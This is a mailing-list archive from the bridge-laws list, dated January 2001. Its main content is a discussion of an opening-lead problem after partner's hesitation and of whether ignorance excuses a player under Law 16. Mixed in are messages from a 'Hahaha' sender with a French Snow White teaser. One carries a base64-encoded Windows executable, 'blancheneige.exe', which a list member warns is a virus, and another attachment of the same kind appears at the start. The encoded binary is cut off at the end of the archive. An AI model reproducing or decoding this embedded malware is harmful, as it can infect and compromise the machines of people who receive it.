j536cu2p30UteSv1L2pe2nA4qN5B4s54vG9A1fnZdB5KdEY5nHVOliMngv39i/UHjyIlEkDKarzo dmMVxYJBHV90jezaOe/p25U3SOFj6fx4ZOXK5quuVeuhN3GHWFkgkTC0322OGHRXWoEpNARYNv+z hT+CubmnKToNod9a4MfI76p6fmRNl9++ZOFR+O3zt7XzQOhqn31ZHjLg0nCJGpV70kQYXmqEkdJe LdFeGOE2elBr+NS/ioiLYE+8JtSHktJVJOanjQ4PZe3gSkGMWpRanxyTaJOTRaME23oAPi3h9Axs DprP79rIOTzBU+LQU/Hwxl3mapCAet2a6OBBcce/7wD+sA2se16kQwlZCIAGp88e/Pv5MCE3Bb0d dm7LEzCoiHTyVvqLe7nu6KKiHI29/oDWVjrHrEVrHYt4rInxFM+6wo8ZVp7EWbpPvHCrwN7iU2QX 7ENNxZb2SefMHgDTfn87yF//NIasbekUM6o6Oe8bEU03tTS4Mj9v9nEyY4o/4vKvtKr5t+O0Zpuz yrAoKYqrUzxdc1Rs3Tlv1YwsdzTFC8po63CbiJoIb7PbX4rlM6TVgW6MX1YJg2le+hTikcIEsTFu ZXdzAgAAAPANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAADhwAAAAAAAAMHAAAAAAAAAAAAAATHAAAABwAAAAAAAAAAAAAAAAAAAAAAAA AAAAADhwAAAAAAAAEQFHZXRNb2R1bGVIYW5kbGVBAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA ----VELQRC5QZ8TURO9MJOT2J0TA3CTU3G5A7CP-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 20:13:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f049B4f11298 for bridge-laws-outgoing; Thu, 4 Jan 2001 20:11:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from xion.spase.nl (router.spase.nl [213.53.246.249]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f049Aut11257 for ; Thu, 4 Jan 2001 20:10:57 +1100 (EST) Received: by xion.spase.nl with Internet Mail Service (5.5.2650.21) id ; Thu, 4 Jan 2001 10:08:36 +0100 Message-ID: From: Martin Sinot To: "Bridge Laws (E-mail)" Subject: RE: [BLML] Les 7 coquir nains Date: Thu, 4 Jan 2001 10:08:35 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f049Axt11272 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Can somebody throw this guy off? It's the same virus again... DON'T OPEN THE ATTACHMENT!!!!!!!!!!!!!!!!!!!!!!!! -- Martin Sinot Nijmegen martin@spase.nl >-----Original Message----- >From: Hahaha [mailto:hahaha@sexyfun.net] >Sent: Thursday, January 04, 2001 9:03 >Subject: [BLML] Les 7 coquir nains > > >C'etait un jour avant son dix huitieme anniversaire. Les 7 nains, qui avaient >aidé 'blanche neige' toutes ces années aprčs qu'elle se soit enfuit de chez >sa belle mčre, lui avaient promis une *grosse* surprise. A 5 heures comme >toujours, ils sont rentrés du travail. Mais cette fois ils avaient un air >coquin... -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 22:10:33 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04B7rg13464 for bridge-laws-outgoing; Thu, 4 Jan 2001 22:07:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tbd.uunet.be (root@tbd.uunet.be [194.7.1.10]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04B7jt13418 for ; Thu, 4 Jan 2001 22:07:46 +1100 (EST) Received: from village.uunet.be (uu212-190-3-146.unknown.uunet.be [212.190.3.146]) by tbd.uunet.be (8.9.3/8.9.1) with ESMTP id MAA29175 for ; Thu, 4 Jan 2001 12:07:36 +0100 (CET) Message-ID: <3A543E08.9F143DF2@village.uunet.be> Date: Thu, 04 Jan 2001 10:10:32 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: [BLML] What is suggested ? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk This starts as a lead problem : you hold : Jx QJ8xx Qxx Axx green vs red, in third position. Partner passes, and RHO opens 1Di in a strong club system. You decide to overcall 1He. The bidding proceeds : Pn You pass 1Di 1He 2Sp pass 2NT pass 3Sp pass 3NT pass pass Dble all pass What is your lead ? OK, second story - partner hesitates and passes. What is your lead ? OK, real story - partner hesitates and doubles. What is your lead ? Suppose that you believe that the double asks for spades. I know, it's not. Suppose that in the second case you do the "ethical" thing and lead non-spades, and find the correct lead. Is ignorance an excuse ? If a player does not know what is suggested, can he be held subject to L16 ? -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 23:44:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04CgVv06491 for bridge-laws-outgoing; Thu, 4 Jan 2001 23:42:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04CgNt06487 for ; Thu, 4 Jan 2001 23:42:24 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id NAA07034; Thu, 4 Jan 2001 13:37:42 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id NAA19159; Thu, 4 Jan 2001 13:41:47 +0100 (MET) for Message-Id: <3.0.6.32.20010104135345.00862bf0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 04 Jan 2001 13:53:45 +0100 To: Herman De Wael , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] What is suggested ? In-Reply-To: <3A543E08.9F143DF2@village.uunet.be> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:10 4/01/01 +0100, you wrote: >This starts as a lead problem : > >you hold : > >Jx QJ8xx Qxx Axx > >green vs red, in third position. > >Partner passes, and RHO opens 1Di in a strong club system. > >You decide to overcall 1He. > >The bidding proceeds : > >Pn You >pass 1Di 1He 2Sp >pass 2NT pass 3Sp >pass 3NT pass pass >Dble all pass > >What is your lead ? AG : assuming 2S is natural and forcing, I need to find quick tricks before spades are established. I think Hearts are the best way to do so. If ROH has K10xx hearts, partner having the ace and, say, Qxx spades, it might be a painless 2 down. Of course, it would mean RHO made a very light opening bid, but why not ? Leading any other suit would need even more in partner's hand. Come to think of it, if LHO has only 5 spades, I might even not need the spade queen. The 10 of diamonds could be enough. By the way, I am a firm believer in Kantar's laws, the second of which reads 'when in doubt, lead your longest suit'. >OK, second story - partner hesitates and passes. > >What is your lead ? AG : depends on what the double would suggest (one may safely assume the hesitation was between pass and double, and nothing else). In some partnerships, including mine, it means lead a heart. In others, it could mean lead a spade. I would feel compelled to lead something else. Thus, if double = spades, I lead a heart, as I had always intended, and if double = hearts, I lead a club, or perhaps a diamond. Never a spade after such bidding. > >OK, real story - partner hesitates and doubles. > >What is your lead ? AG : I don't think the hesitation conveys a big chunk of information. Partner could be afraid of several things (that the spades were solid, and one H stopper was enough ; that I made my usual junk-based overcall ; that he could pinpoint the place of the spade queen, helping declarer to find the right play ; that they go back to 4S and win) ; he could be trying hard to remember what the double calls for ; and perhaps other explanations I can't think of. It's about the same case as for an overcall : you hesitate and pass over 1C, you say too much (namely, you have a good hand unsuited to any overcall) ; you hesitate and bid 1S over 1C, you don't convey much information, since there are a dozen possible explanations. Thus, I would make the lead that the double demanded in my system. >Suppose that you believe that the double asks for spades. I >know, it's not. Suppose that in the second case you do the >"ethical" thing and lead non-spades, and find the correct >lead. >Is ignorance an excuse ? As I said, the hesitation doesn't convey much information. So ... But say there was an hesitation, then pass. The player on lead finds the heart lead. Thereafter, he tells me that he led a heart because a double would ask for a spade lead, and he was trying to be ethical. The argument would be (potentially) self-serving, the truth being that the double asks (quite logically) for a heart, and that the hesitation gave this information as well. I would be strange indeed that a double ask for spades, because the spades rate to be quite strong (remember the jump ?). If he shows me their CC, where it is stated that any unusual double calls for dummy's suit, then I'll believe him. >If a player does not know what is suggested, can he be held >subject to L16 ? AG : as a general matter, yes. Law 16 only says the information *could have* suggested the action, not that it did in this specific case. Else it would be too easy to plead ignorance every time there was a 'law 16' case. Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 00:00:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04CxhT06519 for bridge-laws-outgoing; Thu, 4 Jan 2001 23:59:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from antholoma.wanadoo.fr (smtp-abo-4.wanadoo.fr [193.252.19.153]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04CxYt06515 for ; Thu, 4 Jan 2001 23:59:35 +1100 (EST) Date: Thu, 4 Jan 2001 23:59:35 +1100 (EST) Received: from beauvillain (193.250.107.101) by antholoma.wanadoo.fr; 4 Jan 2001 13:59:28 +0100 Message-ID: <3a5473b43a701e79@antholoma.wanadoo.fr> (added by antholoma.wanadoo.fr) From: Hahaha Subject: [BLML] Les 7 coquir nains MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--VEA7O9URC1QZKXEJKT27CLY3KLYFSP" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----VEA7O9URC1QZKXEJKT27CLY3KLYFSP Content-Type: text/plain; charset="us-ascii" C'etait un jour avant son dix huitieme anniversaire. Les 7 nains, qui avaient aidé 'blanche neige' toutes ces années aprčs qu'elle se soit enfuit de chez sa belle mčre, lui avaient promis une *grosse* surprise. A 5 heures comme toujours, ils sont rentrés du travail. Mais cette fois ils avaient un air coquin... ----VEA7O9URC1QZKXEJKT27CLY3KLYFSP Content-Type: application/octet-stream; name="blancheneige.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="blancheneige.exe" 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 EHMIi1UQ6BkAAACNlfj+///oDgAAAP9F+P9N/HnaYcnCEACQjb14////M8CJB4lHBIlHCIlHDIlH EIlHFIlHGIlHHIlHIIlHJIlHKIlHLIlHMIlHNIlHOIlHPIlHQIlHRIlHSIlHTIlHUIlHVIlHWIlH XIlHYIlHZIlHaIlHbIlHcIlHdIlHeIlHfI2F+P7//+gCAgAAh9vRJ9FXBNFXCNFXDNFXENFXFNFX GNFXHNFXINFXJNFXKNFXLNFXMNFXNNFXONFXPNFXQNFXRNFXSNFXTNFXUNFXVNFXWNFXXNFXYNFX ZNFXaNFXbNFXcNFXdNFXeNFXfOisAQAAjYX4/v//D6MYD4PFAAAAiwKLSgQBBxFPBItCCItKDBFH CBFPDItCEItKFBFHEBFPFItCGItKHBFHGBFPHItCIItKJBFHIBFPJItCKItKLBFHKBFPLItCMItK NBFHMBFPNItCOItKPBFHOBFPPItCQItKRBFHQBFPRItCSItKTBFHSBFPTItCUItKVBFHUBFPVItC WItKXBFHWBFPXItCYItKZBFHYBFPZItCaItKbBFHaBFPbItCcItKdBFHcBFPdItCeItKfBFHeBFP fOjaAAAAh9tLD4nB/v//iweLXwSLTwiLdwyJAolaBIlKCIlyDItHEItfFItPGIt3HIlCEIlaFIlK GIlyHItHIItfJItPKIt3LIlCIIlaJIlKKIlyLItHMItfNItPOIt3PIlCMIlaNIlKOIlyPItHQItf RItPSIt3TIlCQIlaRIlKSIlyTItHUItfVItPWIt3XIlCUIlaVIlKWIlyXItHYItfZItPaIt3bIlC YIlaZIlKaIlybItHcItfdItPeIt3fIlCcIladIlKeIlyfMOH27v/AwAAD6MYcgNLdfjDh9uLdQiL R3yLTnw7wXLwD4c1AgAAi0d4i054O8Fy4A+HJQIAAItHdItOdDvBctAPhxUCAACLR3CLTnA7wXLA D4cFAgAAi0dsi05sO8FysA+H9QEAAItHaItOaDvBcqAPh+UBAACLR2SLTmQ7wXKQD4fVAQAAi0dg i05gO8EPgnz///8Ph8EBAACLR1yLTlw7wQ+CaP///w+HrQEAAItHWItOWDvBD4JU////D4eZAQAA i0dUi05UO8EPgkD///8Ph4UBAACLR1CLTlA7wQ+CLP///w+HcQEAAItHTItOTDvBD4IY////D4dd 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 